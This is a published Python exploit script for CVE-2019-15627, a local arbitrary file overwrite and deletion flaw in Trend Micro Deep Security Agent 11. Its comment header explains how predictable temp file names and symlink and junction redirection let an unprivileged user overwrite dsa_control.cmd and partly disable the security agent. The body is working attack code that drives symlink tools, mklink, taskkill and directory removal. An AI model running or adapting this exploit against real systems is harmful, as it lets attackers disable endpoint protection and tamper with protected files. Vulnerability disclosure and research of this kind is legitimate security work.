Trend Micro Deep Security Agent 11 – Arbitrary File Overwrite
# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite # Exploit Author : Peter Lapp # Exploit Date: 2019-12-05 # Vendor Homepage : https://www.trendmicro.com/en_us/business.html # Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716 # Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise. # CVE: 2019-15627 # CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec) # This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools ) # The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations) # This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS, # even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired. # When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately. # The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file. # While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file. # So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage, # then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces, # and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that # are ripe for the writing that can then point to a malicious binary. # Usage: # 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part. # 2. Open a browser (preferrably IE) and start the script # 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript). # 4. Keep refreshing the page until you see the script create the target file overwritten. # # It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit. import time import os import subprocess import sys import webbrowser from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class Stage1_Handler(FileSystemEventHandler): def __init__(self): self.filenames = [] def on_created(self, event): filename = os.path.basename(event.src_path) if filename in self.filenames: print ('Starting symlink creation.') watcher1.stop() symlinkery(self.filenames) else: self.filenames.append(filename) print ('File %s created.') % filename class Stage2_Handler(FileSystemEventHandler): def on_any_event(self, event): if os.path.basename(event.src_path) == 'dsa_control.cmd': print "Target file overwritten/deleted. Cleaning up." subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True) subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True) os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"') os.system('rmdir /S /Q "C:\\test"') os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp') watcher2.stop() sys.exit(0) class Watcher(object): def __init__(self, event_handler, path_to_watch): self.event_handler = event_handler self.path_to_watch = path_to_watch self.observer = Observer() def run(self): self.observer.schedule(self.event_handler(), self.path_to_watch) self.observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: self.observer.stop() self.observer.join() def stop(self): self.observer.stop() def symlinkery(filenames): print "Enter symlinkery" for filename in filenames: print "Creating symlink for %s" % filename cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename subprocess.Popen(cmdname, shell=True) os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig') os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test') watcher2.run() print "Watcher 2 started" try: os.mkdir('C:\\test') except: pass path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus' path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\' watcher1 = Watcher(Stage1_Handler,path1) watcher2 = Watcher(Stage2_Handler,path2) switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d" subprocess.Popen(switcheroo, shell=True) watcher1.run() |